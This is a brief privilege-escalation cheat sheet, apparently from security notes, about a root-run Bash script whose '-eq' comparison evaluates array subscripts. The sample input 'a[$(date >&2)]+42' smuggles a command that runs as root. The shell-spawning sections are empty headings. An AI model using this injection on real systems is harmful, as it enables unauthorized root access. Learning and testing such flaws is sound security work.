Bash eq Privilege Escalation
Investigation
sudo -l
(root) /bin/bash /opt/example.sh#!/bin/bash
read -rp "Enter guess: " num
if [[ $num -eq 42 ]]
then
echo "Correct"
else
echo "Wrong"
fisudo /bin/bash /opt/example.sh
Enter guess: a[$(date >&2)]+42
Sun Feb 4 19:06:19 PST 2018
CorrectExploitation (Get a Shell Directly)
Exploitation (Get a Shell Indirectly)
References
Last updated